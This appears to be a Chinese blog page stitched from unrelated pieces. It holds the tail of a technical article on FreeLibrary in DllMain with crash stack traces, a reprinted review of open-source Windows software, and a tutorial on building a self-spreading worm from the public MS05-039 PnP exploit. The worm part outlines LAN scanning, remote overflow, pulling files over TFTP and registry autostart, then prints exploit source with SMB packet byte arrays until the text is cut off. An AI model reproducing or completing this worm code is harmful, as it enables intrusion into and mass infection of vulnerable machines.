return TRUE;
}
在Jeffrey
Richter的"Windows核心编程"和Matt Pietrek在1999年MSJ上的"Under the Hood"里都说到,
User32.dll在它的initialize
code里会用LoadLibrary加载"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Windows\AppInit_DLLs" 下的dll,在它的terminate
code里会用FreeLibrary卸载它们。跟踪它的FreeLibrary函数,发现同上面的例子一样,
LdrUnloadDll发现进程正在Shutdown中,就直接返回了,没有任何危险。(User32.dll是静态链接的函数,只可能在进程关闭时被
卸载。另外,在我调试的时侯,发现即使AppInit_DLLs下为空,User32.dll仍然会加载imm32.dll)。
总而言之,FreeLibrary本身是相当安全的,但MSDN里对它的警告也并非是胡说八道。在DllMain里使用FreeLibrary仍然是具有危险性的,与LoadLibrary一样,它们具有相同的Bug哲学,即理想和现实的差距!
TestUnload2虽然运行正确,但是它具有潜在的危险性。
对DllA而言,释放DllB是它的责任,是它在收到DLL_PROCESS_DETACH通知之后用FreeLibrary卸载的,可事实上如果DllA被主程序静态链接,或者DllA是动态链接但没有用FreeLibrary显式卸载它的话,那么在进程结束时,在DllA卸载DllB之前,DllB就已经被主程序卸载掉了! 这种认识上的错误就是养育Bug的沃土。如果DllA没有认识到这种可能性,而在FreeLibrary之前调用DllB的函数,就极可能出错!!!
为了加深理解,我用文章开头提到的那个Bug来说明这种情况,那可是血的教训。问题描述如下:
我
用MFC写了一个OCX,OCX里动态加载了一些Plugin
Dlls,在OCX的ExitInstance(相当于DllMain里处理DLL_PROCESS_DETACH通知)里调用这些Plugin的
Uninitialize
code,然后用FreeLibrary将其释放。在我用MFC编写的一个Doc/View架构的测试程序里运行良好,但不久客户就报告了一个Bug:用
VB写了一个OCX2来包装我的OCX,在一个网页里使用OCX2,然后在IE里打开这个网页,在关掉IE时会当掉! 发生在特定条件下的奇怪的错误!当时我可是费了不少功夫来解这个Bug,现在一切都那么清晰了。
下面是我用MFC写的测试程序在关闭时的堆栈:
PDFREA_1!CPDFReaderOCXApp::ExitInstance+0x1d
PDFREA_1!DllMain+0x1bb
PDFREA_1!_DllMainCRTStartup+0x80
ntdll!LdrpCallInitRoutine+0x14
ntdll!LdrUnloadDll+0x29a
KERNEL32!FreeLibrary+0x3b
ole32!CClassCache::CDllPathEntry::CFinishObject::Finish+0x2b
ole32!CClassCache::CFinishComposite::Finish+0x19
ole32!CClassCache::FreeUnused+0x192
ole32!CoFreeUnusedLibraries+0x35
MFCO42D!AfxOleTerm+0x7b
MFCO42D!AfxOleTermOrFreeLib+0x12
MFC42D!AfxWinTerm+0xa9
MFC42D!AfxWinMain+0x103
ReaderContainerMFC!WinMain+0x18
ReaderContainerMFC!WinMainCRTStartup+0x1b3
KERNEL32!BaseProcessStart+0x3d
可以看到OCX被FreeLibrary显式地释放,抢在Plugin被进程释放之前,所以不会出错。
下面是关闭IE时的堆栈:
CPDFReaderOCXApp::ExitInstance() line 44
DllMain(HINSTANCE__ * 0x04e10000, unsigned long 0, void * 0x00000001) line 139
_DllMainCRTStartup(void * 0x04e10000, unsigned long 0, void * 0x00000001) line 273 + 17 bytes
NTDLL! LdrShutdownProcess + 238 bytes
KERNEL32! ExitProcess + 85 bytes
可
以看到OCX是在LdrShutdownProcess里被释放的,而此时Plugin已经被释放掉了,因为在
InInitializationOrderModuleList表里Plugin Dlls在OCX之后,所以它们被先释放!
这种情况要是还不出错真是奇迹了。
总结:虽然MS警告不要在DllMain里不能调用LoadLibrary和
FreeLibrary函数,可实际上它还是做了很多的工作来处理这种情况。只不过因为他不想或者懒得说清楚到底哪些情况不能这么用,才干脆一棒子打死统
统不许。在你自己的程序里不是绝对不能这么用,只是你必须清楚地知道每件事是怎么发生的,以及潜在的危险。
后记:
这篇文章包含了太多的内容,你一定已经看得一头雾水,不知我所云。不仅是你连我自己都有点吃不消。
我不是一个优秀的写者,也无意于此。而且我一直认为,真正的知识永远不是从书本上获得的。
我不知道你能从这篇文章里学到什么,但你一定能从中知道你可以学到什么。
参考资料:
(1) Russ Osterlund, Windows 2000 Loader, MSDN Magazine, March 2002
(2) Matt Pietrek, Under the Hood, MSJ, September 1999
(3) Matt Pietrek, Inside Windows: An In-Depth Look into the Win32 Portable Executable File Format, Part 2, MSDN Magazine, March 2002
(4) Microsoft Portable Executable and Common Object File Format Specification, Revision 6.0 – February 1999
(5) Windows 2000 source code
开放源代码软件已经成为一个时髦的名词,这里有两个有力的证据:
Firefox浏览器的下载人次超过了2500万;同时,基于Linux的Web服务器也占据了最大的市场份额。人们普遍相信,开放源代码软件(open
-source
software,简称OSS)要比专有软件系统(即声明用户不能分享或修改软件的软件系统)要更安全。这可能有两个原因:首先,由于开源软件的源代码是
向所有人开放的,因此任何人都可以找出并修补它的安全漏洞;其次,开源软件的流行程度毕竟还远远比不上Microsoft公司的Windows系列软件,
因此它遭受黑客攻击的机会也要相对少很多。不过随着开源软件变得越来越流行,第二种情况可能将会发生改变。
从数量上看,目前的大多数开源软件都是基于Linux系统的,Windows开源软件的开发者仍然被笼罩在Microsoft的阴影下。但Windows开源软件并不乏优秀之作,你可以访问www.opensource.org或者www.sourceforge.net这类开源软件网站,里面搜集了不少针对Windows XP的开源软件,其中当然也包括了本文涉及到的55个Windows工具。
免费的选择
在这些精彩的开源软件中,功能强大的Open
Office完全能够满足人们的绝大多数办公需求;基于GNU协议的图像处理程序包Gimp足可以媲美Photoshop;所见即所得的HTML编辑器
NVU则可被看作是Dreamweaver的一个简化版;而Media Portal则是Microsoft的Windows XP Media
Center
Edition强有力的竞争对手。此外,本文介绍的开源软件还涉及项目管理、音频编辑、PDF转换、即时通信、FTP、加密以及系统监测等多个领域,当然
也少不了Web服务器。
开源软件已经进入了成熟期,它们功能强大而且运行稳定,你甚至可以完全利用开源软件搭建你的PC应用系统,而不用花一分钱去另
外购买软件。Sun、IBM、Novell、Red
Hat甚至Microsoft公司都开始把他们自己的一些软件以开放源代码的形式发布出来,从而允许其他人对软件进行修改和再开发。比如,Novell公
司的Hula(www.hula-project.org)就是一款免费的协作服务器,它同时还提供了e-mail客户端、日历和通讯录,目前已经拥有超过25万名用户。
软件许可
开放源代码究竟意味着什么?从根本上来看,如果一款软件被称为开源软件,那么它的软件代码应该以可阅读并理解的形式提供给公众,并能够通过编译器转换成可执行代码。在编译过后,你可以随意复制、分发并用于任何商业或私人用途而不用支付任何软件许可费用。
这一基本概念在“开放源代码定义”(Open Source Definition)一文中有更详细的阐述,你可以参看www.opensource.org/docs/definition.php。一般来说,开源软件都适用于GNU GPL条款(GNU General Public License,GNU通用公共许可证)。不过,也有一些软件自称是开源软件,但实际上并不是。比如, PGP公司(www.pgpi.org)声称其加密程序为开源软件,但实际上你只能阅读其源代码,对源代码的修改和编译分发仍然是不被允许的,因为该加密程序采用了IDEA专利算法。
保持警惕
和商业软件一样,开源软件也同样存在不安全的因素。黑客可以对某个开源软件的源代码进行修改,比如加入打开系统后门的代码,这样他就能轻易入侵你的系统。
因此,你应该养成只从可信任的来源获取开源软件的良好习惯,比较值得信赖的地方就是官方发布网站。使用P2P网络下载开源软件是相当危险的行为,因为你很
难确保这些软件没有被别人修改过。
除了这些注意事项之外,我们相信你一定会被这些Windows XP.开源软件所折服,它们无论是从广度、深度还是软件质量上都丝毫不逊色于常见的商业软件。
Open Office 2 Beta:Office套装软件
开发人员不久前刚刚把Open Office由1.1.4升级到2.0,这款Office套装软件同步推出了基于Windows、Linux和Mac OS的三个版本,2.0版本在文字处理、电子数据表、演示工具和数据库方面都进行了大量的改进,并引入了不少新功能。
除了界面变得更美观、对Microsoft Office文件的兼容性更好之外,Open Office
2还引入了一种新的文件格式——由OASIS 组织所提出的“Open Office XML Format”,这种以XML
为主体的开放文件格式也将逐渐被其他软件所支持。Open Office
2提供了网络安装模式和用户自定义安装模式,对于需要通过网络对多台机器进行软件安装的IT管理员来说相当方便。
Open Office
2首次拥有了自己的数据库组件(HSQLDB),你可以创建并管理数据库。商业用户则会受益于改进的SQL函数和更好的LDAP数据库连接性。在文字处理
方面,创建新模板变得更加方便,改进的对话框则使软件更加直观。新的宏保护机制增强了它的安全性,文字隐藏功能则可以更好地保护你的隐私。电子数据表软件
支持单元格嵌套,能够处理不超过65000行的数据,与Excel表格的兼容性也得到了加强。与前一个版本一样, Open Office
2.0也包含了与Microsoft PowerPoint近似的演示程序——Impress。
无论是对于办公用户还是家庭用户,Open Office(www.openoffice.org)都是Microsoft Office套装软件的一个很好的替代品,它还提供了一些独特的功能,比如包含了一个PDF生成工具。对于家庭用户来说,Microsoft Office的价格无疑显得过于昂贵,相比之下,Open Office要划算得多。

图1:Open Office是Microsoft Office套装软件的强有力的对手
Thunderbird 1.02:邮件客户端
Microsoft的e-mail客户端Outlook和Outlook Express由于缺少安全特性且支持活动脚本,其安全性遭到了很多人的质疑。因此不少人尝试转向其他的邮件客户端程序,Mozilla Thunderbird 就是一种选择。
Thunderbird提供了一个向导程序,能让你导入来自Outlook和Outlook
Express的邮件和邮箱地址。在Thunderbird中,所有重要的功能都可以通过工具条上的按钮进行快速操作。这款邮件客户端相当易用,而且允许
你轻松地更换界面主题。快速搜索功能则允许你使用发件人或邮件主题为关键字进行搜索,并且可以按多个关键字进行分组排序显示。
Thunderbird还集成了具备自学习功能的垃圾邮件过滤器和RSS阅读器。它对IMAP(Internet
Message Access
Protocol)的支持也很不错,并且你还可以通过安装插件的方式为Thunderbird添加更多的功能,下载插件的网址为https:
//addons.mozilla.org/extensions。

图2:Thunderbird比Outlook/Outlook Express更为安全
Ganttproject 1.11.1:项目计划工具
网址:http://ganttproject.sourceforge.net
你可以使用这款软件来制定项目计划并跟踪项目资源。Ganttproject
能够将项目的各个组成部分分层次排列,并与相应的人员和时间期限挂钩。它使用一个条状图来显示项目的进展情况,你能从中看到每项任务的预定完成时间和实际
的进度。你可以为每个项目组成员分配任务,设定任务的优先级和完成期限。Ganttproject的输出功能相当完备,不仅可以把数据保存为pdf文件和
csv电子数据表文件,还可以输出为HTML文件发布到Internet上。由于Ganttproject是一款纯Java应用程序,因此它可以运行于
Windows、Linux和Mac OS等多个平台上。
WX Musik 0.4.1:音频播放器
你可以利用WX Musik管理你的音乐库,还可以利用它内置的播放器来播放音乐文件。WX
Musik支持Mp3、ogg、wma、aiff、wav、ape、mpc和flac等文件格式,同时还支持Internet音频流。软件同时提供了基于
Windows和Linux的版本,安装之后它会提示你创建一个音乐库,你可以指定它去扫描包含音乐文件的文件夹。你还可以导入唱片的封面,它支持
png、 gif、jpg以及bmp 格式的图片。
WX
Musik在显示音乐库中的歌曲时能够同时列出不少附加信息,比如专辑名、艺术家、歌曲长度和比特率。它还能对歌曲进行分类或排序,比如你可以选择列出最
近播放的50首歌曲或者10首播放频率最高的歌曲。其他有用的功能包括:ID3标签自动修改功能、支持逻辑查询符的搜索功能。WX
Musik还可以用来收听网络电台,并允许你对电台列表进行定制。
NVU 1.0:HTML编辑器
网址:www.nvu.com
NVU实际上起源于Netscape,还记得那个有点笨拙的HTML编辑器Netscape
Composer吗?NVU就是在它的基础上进一步开发出来的,不过,最新版本的NVU已经不是当年的那只丑小鸭,它完全能够胜任专业网页设计工作的需
求。与FrontPage和Dreamweaver这类商业HTML编辑器一样,这款软件(目前支持Windows、Linux和Mac
OS平台)同时提供了源代码直接编辑和“所见即所得”这两种网页设计环境。
NVU严格遵循W3C联盟的标准,其生成的HTML代码也相当紧凑,它会帮你排除错误或冗余的代码。这款编辑器提供了拼写和语
法检查功能,并且允许你采用不同的主题方案对界面进行定制。你可以自行创建并保存模版,还可以利用内置的FTP客户端把页面迅速上传到Web服务器上。

图4:NVU同时提供了源代码直接编辑和“所见即所得”这两种网页设计环境
Audacity 1.2.3:音频文件编辑器
网址:http://audacity.sourceforge
有了Audacity
1.2.3这款多轨音频编辑器的帮助,你可以在Windows或Linux环境下轻松地完成音频的录制、播放、编辑、导入和输出工作。在进行编辑时,点击
几下鼠标就可以对选中的音乐片段进行剪切、复制或插入操作。如果你想将某个mp3文件插入到当前打开的音频文件中,可以使用Project|import
audio命令进行导入。其他功能还包括:对多个音轨进行混合、应用音频特效以及改变音乐的播放速度。Audacity内置了28个音频滤镜,并且可以进
行扩充,它可支持VST、Ladspa和Nyquist这三种格式的插件。ID3标签编辑器和去除噪音功能让这款软件变得更加完美。如果你想把结果保存为
mp3文件,需要另行下载并安装一个Lame DLL编码器(http://lame.sourceforge.net)并通过File| Settings|File formats|Search Library指定该编码器的路径。除了编辑功能以外,Audacity 也支持从声卡的line-in端口录制声音。

图5:Audacity能够多个音轨进行混合、应用音频特效以及改变音乐的播放速度
Ant Renamer 2.0.8:文件名编辑器
网址:www.antp.be
在Windows的资源管理器下更改文件名是件比较痛苦的事情,因为它缺少自动处理的功能。一旦你需要对成批文件进行改名,
Windows的资源管理器就显得力不从心了。比如,你可能需要为一批mp3文件的文件名加上统一的歌手名称,或者为一批图片文件加上时期和地点,或者需
要将HTML文件名都改为小写字母,这时候Ant Renamer就可以发挥作用了。
你可以用鼠标将选中的一批文件拖到程序窗口中,然后进行相关的设置。比如设定需要删除哪些字符、替换哪些字符以及添加数字编号
等等。添加数字编号时它允许你指定起始编号和编号增加幅度。在字符替换模式下,你可以搜索文件名中的特定字符或数字并将其替换为其他字符或数字。你还可以
根据mp3标签来修改文件名或者根据首字符的大小写情况将整个文件名统一成大写或者小写状态。

图6:需要成批修改文件名时,Ant Renamer会令你事半功倍
PDF-Creator 0.81:PDF程序
网址:http://sector7g.wurzel6.de/pdfcreator/index_en.htm
用于生成PDF文件的商业软件或共享软件已经相当丰富,但完全免费的软件还不太多见。在这里我们要向你推荐PDF-
Creator,它可以作为Windows网络打印机或者桌面打印机安装在你的系统中。这意味着你可以在任意的Windows应用程序中输出PDF文档。
在打印对话框中,你可以指定文档的名称、创建日期和作者。在Format|PDF选项下,你可以选择兼容PDF
1.2或1.4,还可以指定首选的屏幕分辨率。PDF-Creator允许你调节PDF压缩选项,从而在输出质量和文件大小之间找到一个合理的平衡点。在
输出方面,你还可以将文档输出为png、jpeg、bmp、tiff、ps(Postscript)或eps (Encapsulated
Postscript)格式。如果将PDF-Creator集成到Windows资源管理器的上下文菜单中,你只需按两下鼠标就可以创建一个PDF文件。

图7:PDF-Creator可以让你在任意的Windows应用程序中输出PDF文档
GnuPG:邮件加密工具
未经加密的邮件很容易被不怀好意的偷窥者看到。如果对带有敏感信息的邮件进行加密和签名,就可以大大提高安全性。使用GNU
Privacy Guard(GnuPG)就可以对邮件进行加密,当然你的邮件客户端也要提供相应的支持,如果你使用的是Mozilla
Thunderbird,可以到http://enigmail.mozdev.org去下载Enigmail插件,对于Outlook客户端,也可以找到相应的插件。
由于使用了公钥和私钥机制,加密后的邮件具有相当高的安全级别。每个GnuPG用户都会同时拥有一对密钥。使用公钥加密过的数据只能通过相应的私钥进行解
密。另一方面,通过你的私钥生成的数字签名可以通过相应的公钥进行解密以确认某封邮件确实出自你手。公钥一般由密钥服务器提供。如果你收到一封经
GnuPG加密后的邮件,你将看不到任何文字信息,而只有一串乱七八糟的数字和字母。如果你想看到邮件原文,你需要GnuPG的支持,当然你还得有用来解
密的私钥。即便你使用的邮件客户端不是Thunderbird或Outlook,也不用担心,在Internet上找到对应的GnuPGP
插件并不难。比如Pegasus Mail插件 (http://community.wow.net/grt/qdgpg.html)、Eudora插件(http://eudoragpg. sourceforge.net/ver2.0/en/) 和Outlook Express插件 (http://winpt.sourceforge.net/de/down load.php)。
Gaim 1.4.0:即时通信工具
网址:http://gaim.sourceforge.net
目前,即时通信软件的种类相当繁多,比如AOL、MSN和Yahoo都提供了这类软件,但这几个即时通信软件之间的互联互通还相当不方便。除了同时安装这
几个即时通信软件之外,还有什么更好的办法吗?你可以试试Gaim,它是一款支持多个IM协议的即时通信工具,并同时提供了基于Linux、BSD、
Mac OS X和Windows的版本。它能够兼容Aim、ICQ (基于Oscar协议)、MSN
Messenger、Yahoo、IRC、Jabber、Gadu-Gadu、SILC、Groupwise
Messenger和Zephyr等即时通信软件。你可以同时用不同的账号在多个即时通信网络中登录。这意味着你可以一边与AOL Instant
Messenger上的朋友聊天,一边向Yahoo Messenger上的同事发送文件,同时还能在某个IRC频道中聊天。
Gaim对这些即时通信网络的支持相当全面,除了一般的聊天之外,像文件传输、离开提示、键入提示等等都可以支持。此外,它还拥有不少独特的功能。最流行
的要算是好友提醒功能了,当某个特定的好友离开或者脱机,它会用某种方式对你进行提醒,比如发送消息、播放声音甚至运行某个程序。

图8:Gaim可以让你同时用不同的账号在多个即时通信网络中登录
Mozilla Firefox:Web浏览器
Firefox浏览器应该是Mozilla迄今为止最成功的一个开源软件项目。从2004年11月到2005年2月,这款
Internet
Explorer的替代软件已经获得了超过2500万的下载次数(仅指官方网站和镜像网站的下载次数)。如果加上其它的下载网址以及用光盘方式发放的
Firefox,这个数量可能还会翻倍。Firefox拥有不少值得称赞的易用性功能,比如支持标签式浏览窗口、具备开放的插件接口,你可以安装广告拦截
器、Google搜索条以及其它大量插件。Firefox不支持Visual Basic脚本、ActiveX和BHO(Browser Helper
Objects),相对来说不太容易遭受恶意HTML代码的攻击,当然你也不能完全高枕无忧。

图9:Firefox浏览器支持标签式浏览窗口、具备开放的插件接口
Filezilla 2.2.12c:FTP软件包
网址:http://filezilla.sourceforge.net
Windows一直没能提供一个好用的FTP客户端。Filezilla是一款非常值得推荐的FTP客户端,尽管它的功能丰富,但却非常方便好用。它的界面采用了多窗格设计,可以同时显示本地硬盘的内容和远端服务器上的目录,此外还列出了常用的ftp命令。
Filezilla支持断点续传(下载和上传均支持),能绕过防火墙进行文件传输,同时也支持SSL加密传输方式。你可以通过编辑它的传输任务队列来选择
所要传输的文件或安排传输顺序。在站点管理器(Site
Manager)中选择好一个服务器之后就可以开始上传或下载文件了。软件开发者在Filezilla中同时为你提供了一个FTP服务器,如果你使用的是
Windows NT、2000、XP或2003系统,可以将FTP服务器作为系统服务来运行。
Media Portal 0.1.1.1:多媒体系统
网址:http://mediaportal.sourceforge.net;
Media
Portal提供了视频、DVD、音频播放器和电视功能。不要担心软件设置的问题,它提供了一个方便的向导程序帮助你进行各项设置,比如指定多媒体文件的
存放位置、设置TV或收音机的频道等。Media
Portal支持Medion、Hauppauge、Pinnacle、Twinhan、Typhoon、ATI和Terratec的多媒体卡。在把电视
节目录制到硬盘时,你可以自行选择适当的编码方式。你还可以利用插件来扩充Media
Portal的功能,比如为它增加e-mail客户端的功能。该程序需要运行于Windows XP Service Pack
1或2之上,还需要DirectX 9.0c以上版本和Microsoft .Net Framework 1.1的支持。

图11:Media Portal提供了视频、DVD、音频播放器和电视功能
Freemind 0.8:Mindmap软件
网址:http://freemind.sourceforge.net
什么是Mindmap?它是由英国人托尼·巴赞创造的一种笔记方法,和传统的直线记录方法完全不同,它以直观形象的图示建立起
各个概念之间的联系。在国内,MindMap又被称为脑图或思维导图。Freemind
是一款Java程序,它可以帮你在一些随机的内容之间建立起有机的联系。
在Freemind中,首先你需要选中一个主题,然后从几个节点开始不断丰富
Mindmap的内容。每次加入新的元素,你都可以用连线将它与原有的元素联系起来。最终的Mindmap可以用HTML文档的形式输出。该软件的帮助信
息十分全面,即便你对Mindmap不太熟悉也可以按照它的提示很快掌握Mindmap概念及软件的使用。
The Gimp 2.2.4:图像编辑软件
网址:www.gimp.org
这款图像编辑软件也同时提供了基于Windows、Linux和Mac
OS的版本,而且比起那些商业图像编辑软件毫不逊色。刚开始你可能需要花一些时间适应它的界面,因为Gimp
的每一个界面元素——图像窗口、工具条、调色板都以单独的浮动窗口形式呈现在桌面上。如果你是Apple或Linux用户,可以选用Gimpshop(http://plasticbugs.com/index.php?p=241),它能让Gimp看上去更接近Photoshop,不过目前Gimpshop还没有提供基于Windows的版本。Gimp支持图层操作、alpha通道、渐变曲线、柱状图和色彩调节。你还可以利用滤镜、脚本和插件来增强它的功能。
Health Monitor 2.1:系统监测工具
http://healthmonitor.sourceforge.net
系统管理员可以利用Health Monitor
去监控网络中的每一台工作站PC或者服务器,一旦出现问题,它可以用邮件或者短信息的方式通知你。你还可以自行指定让它监控哪些组件和服务,比如CPU利
用率、剩余硬盘空间、可用内存数量等。文件夹或者文件的变动也会被记录在案,所有的监测结果会被保存在一个log文件中。
插文1 :开源软件的来源
搜索开源软件并不像你想象的那么容易,因为很多下载网站并没有把免费软件和开源软件区分开来,而是把它们统称为“免费软件”。
如果你想找到纯正的开源软件,那么Sourceforge.net
网站无疑是最值得去的地方。如果你是程序开发人员,可以花39美元注册(每年),注册之后就可以访问到与软件项目有关的更多的信息,你会在邮件中收到某个
项目的子域名URL,一般的形式为projectname.sourceforge.net。如果你是个普通用户的话,也可以花同样的价钱成为注册用户,
这样你就可以获得更多的搜索功能,还可以直接获得下载速度更快的镜像服务器网址,当然,你也有权获得软件的源代码。
插文2 :积极参与
即便你不是一个程序员,你也可以参与开源软件的开发过程。绝大多数开源软件项目都拥有自己的讨论组和邮件列表。如果你对软件的功能或菜单选项有什么好的建议,或者发现了bug,都可以向项目负责人进行汇报,每个用户的意见对开源软件的进一步完善都是有帮助的。
最佳开源软件一览
- 7-Zip 4.16 Beta:文件压缩工具,可与Windows资源管理器集成
- A Note 4.2.1:可在Windows桌面放置便笺,并可提供闹钟提醒功能
- Abakt 0.9:能够以压缩方式对文档进行备份
- Abiword 2.27:Windows写字板的替代程序,功能有所加强
- Aethera 1.21:提供日历、通讯录、任务表及提醒功能,并且内置了e-mail客户端
- Ant Movie Catalog 3.5:将你收藏的DVD影碟归档,并添加说明信息
- Ant Renamer 2.0.8:易用的文件重命名工具,并具备灵活的筛选机制
- Audacity 1.2.3:对音频文件进行编辑、优化并添加特效
- Axcrypt 1.6.1:对程序进行加密,可与Windows资源管理器集成
- Blender 3D 2.36:三维对象的建模、渲染
- Borg Calendar 1.4.2:提供桌面日历、任务列表、通讯录功能,支持多用户
- Cdex 1.51:将音乐CD转换为wav或者mp3格式
- Cinepaint 0.19:专业的图像编辑软件
- Clam Win 0.83:病毒扫描工具
- Cool Mon 1.0.1003:系统检测工具
- Cool Player 215:一款精简的音频播放软件
- Dia 0.94:绘制图表和流程图
- Double Type 0.2.1:设计自己的Truetype字体
- Egroupware 1.0.0.006:一款包含日历、新闻、联系人等模块的工作流系统
- Eraser 5.7:永久地删除硬盘中的数据
- Filezilla 2.2.12c:FTP客户端
- Firefox 2:Web浏览器,支持并列显示多个网页
- Freemind 0.8:能以直观形象的图示建立起各个概念之间的联系
- Gaim 1.4.0:同时支持ICQ、Aim、MSN、Yahoo的即时通信软件
- Ganttproject 1.11.1:项目管理软件,帮助你进行时间安排及资源分配
- GnuPG Add-ons:对邮件进行加密
- Health Monitor 2.1 Monitors:Windows状态监测工具,出现问题时可以给出警报
- Inkscape 0.41:向量图形设计工具,可用来绘制地图、技术图纸或公司logo
- JDictionary 1.8:超过140万词条的百科辞典
- Kee Pass 0.99b:管理你的密码
- Keynote 1.6.5:字处理软件和数据库的结合体,带有良好的搜索机制
- Media Portal 0.1.1.1:视频、DVD、音频、图片播放工具,同时支持电视和电台广播
- MP3 Tag Tools 1.2.008:mp3的文件ID标签编辑工具
- MP3 Gain 1.2.5:在不影响音质的情况下调节mp3歌曲的音量
- NVU 1.0:所见即所得的HTML编辑工具,带有相当专业的网页制作功能professional web pages
- Open Office 2.0 Beta:文字处理、电子数据表、演示工具和数据库
- PDF-Creator 0.8.1:可被安装为打印机并将文档输出为pdf文件
- Poptray 3.10:在后台监控邮件账号,当有新邮件进入时对你进行提醒alerts you to new mails
- PW-Gen 1.4.0:为你生成64位到128位的安全密码
- RSS-Owl 1.1:RSS阅读器
- Screencopy 2.3:屏幕拷贝工具
- Syn Text Editor 2.1.0.46:文本编辑器,支持多种程序语言的命令语法
- Task SwitchXP Pro 1.1.2:扩展了Windows任务管理器的功能和外观Extend the functionality and appearance of the task manager
- The Gimp 2.2.4:支持图层管理、特效润饰的图像编辑软件
- Thunderbird 1.07:e-mail客户端,支持Imap/Pop3账户,带有垃圾邮件过滤器和虚拟文件夹
- True Crypt 3.1a:对文件或硬盘分区进行加密,也可以对U盘等移动存储介质进行加密
- True Downloader 0.82:FTP和HTTP链接的下载管理工具,可以监视剪贴板
- TV-Browser 1.0.1:自动更新每天的电视节目表
- Virtual Dub 1.5.10:视频编辑和捕获软件,支持mpeg-1和avi视频格式
- Virtual Win 2.1:可管理最多9个虚拟桌面,你可以用热键进行桌面切换
- VLC Media Player 0.8.1:媒体播放器,支持DVD、VCD、CD、mpeg和DivX等格式
- Web HTTrack 3.33:离线浏览器,可将Internet网页保存到本地硬盘中
- Winroll 2.0:点击标题栏后就可将程序窗口最小化
- WX Musik 0.4.1:音频播放及管理软件
- Xampp 1.42 :Web服务器软件包,包含Apache、PHP和MySQL
转自:冰海蓝
PS:文中提到的大部分软件都已经有所更新,出了新的版本,所有要了解相关的详细信息,请访问个软件主页
文章作者:张戈(nickchang)
信息来源:邪恶八进制信息安全团队(www.eviloctal.com)
今年8月的新蠕虫狙击波利用了ms05039 PnP服务漏洞, 因为ms05039的exploit在网上是公开的,请见http://www.eviloctal.com/forum/htm_data/10/0508/13433.html, 可以利用这个exploit得到对方主机(win2k)的shell, 所以用这个exploit做一个蠕虫并不难。
声明:本文出于教学目的,修改导致任何后果与作者无关
实
现的思路是,先在本机建立一个tftp服务器,然后得到局域网各个机器的ip地址,(不想惹麻烦,没有加上生成随机地址的代码,所以不会在公网上传播),
然后逐个溢出,得到shell,再发送命宁,让对方主机用TFTP从本机下载3个文件,一个蠕虫文件,一个tftp服务端,一个payload文件。(思
路来自Malware-fighting malicious
code一书,作者比喻这种方式是搬家式的蠕虫,因为除了蠕虫自己以外,还需要把环境复制到对方主机中)。然后再发送命宁让对方主机执行蠕虫文件。执行
时,先产生一个互斥量,确保只有一个蠕虫进程在机器上运行,然后写入注册表,实现下次开机自启动,再后面的过程就和开头一样了,如此反复循环。
以下是代码,winxp+vc6.0下编译通过, 注意目标主机只对win2k有效
声明:代码中精华部分是.::[ houseofdabus ]::.的exploit。
//这个是shellcode.h
///********************************************************
//以下shell code是.::[ houseofdabus ]::.的ms05039溢出exploit
//用于buffer overflow,是蠕虫的精华部分
//*********************************************************
/* #define _WIN32 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#ifdef _WIN32
#include <winsock2.h>
#pragma comment(lib, "ws2_32")
#else
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <netdb.h>
#endif
char SMB_Negotiate[] =
"\x00\x00\x00\x85\xFF\x53\x4D\x42\x72\x00\x00\x00\x00\x18\x53\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE"
"\x00\x00\x00\x00\x00\x62\x00\x02\x50\x43\x20\x4E\x45\x54\x57\x4F"
"\x52\x4B\x20\x50\x52\x4F\x47\x52\x41\x4D\x20\x31\x2E\x30\x00\x02"
"\x4C\x41\x4E\x4D\x41\x4E\x31\x2E\x30\x00\x02\x57\x69\x6E\x64\x6F"
"\x77\x73\x20\x66\x6F\x72\x20\x57\x6F\x72\x6B\x67\x72\x6F\x75\x70"
"\x73\x20\x33\x2E\x31\x61\x00\x02\x4C\x4D\x31\x2E\x32\x58\x30\x30"
"\x32\x00\x02\x4C\x41\x4E\x4D\x41\x4E\x32\x2E\x31\x00\x02\x4E\x54"
"\x20\x4C\x4D\x20\x30\x2E\x31\x32\x00";
char SMB_SessionSetupAndX[] =
"\x00\x00\x00\xA4\xFF\x53\x4D\x42\x73\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE"
"\x00\x00\x10\x00\x0C\xFF\x00\xA4\x00\x04\x11\x0A\x00\x00\x00\x00"
"\x00\x00\x00\x20\x00\x00\x00\x00\x00\xD4\x00\x00\x80\x69\x00\x4E"
"\x54\x4C\x4D\x53\x53\x50\x00\x01\x00\x00\x00\x97\x82\x08\xE0\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x57\x00\x69\x00\x6E\x00\x64\x00\x6F\x00\x77\x00\x73\x00\x20\x00"
"\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00\x32\x00\x31\x00\x39\x00"
"\x35\x00\x00\x00\x57\x00\x69\x00\x6E\x00\x64\x00\x6F\x00\x77\x00"
"\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00\x35\x00"
"\x2E\x00\x30\x00\x00\x00\x00\x00";
char SMB_SessionSetupAndX2[] =
"\x00\x00\x00\xDA\xFF\x53\x4D\x42\x73\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE"
"\x00\x08\x20\x00\x0C\xFF\x00\xDA\x00\x04\x11\x0A\x00\x00\x00\x00"
"\x00\x00\x00\x57\x00\x00\x00\x00\x00\xD4\x00\x00\x80\x9F\x00\x4E"
"\x54\x4C\x4D\x53\x53\x50\x00\x03\x00\x00\x00\x01\x00\x01\x00\x46"
"\x00\x00\x00\x00\x00\x00\x00\x47\x00\x00\x00\x00\x00\x00\x00\x40"
"\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x06\x00\x06\x00\x40"
"\x00\x00\x00\x10\x00\x10\x00\x47\x00\x00\x00\x15\x8A\x88\xE0\x48"
"\x00\x4F\x00\x44\x00\x00\xED\x41\x2C\x27\x86\x26\xD2\x59\xA0\xB3"
"\x5E\xAA\x00\x88\x6F\xC5\x57\x00\x69\x00\x6E\x00\x64\x00\x6F\x00"
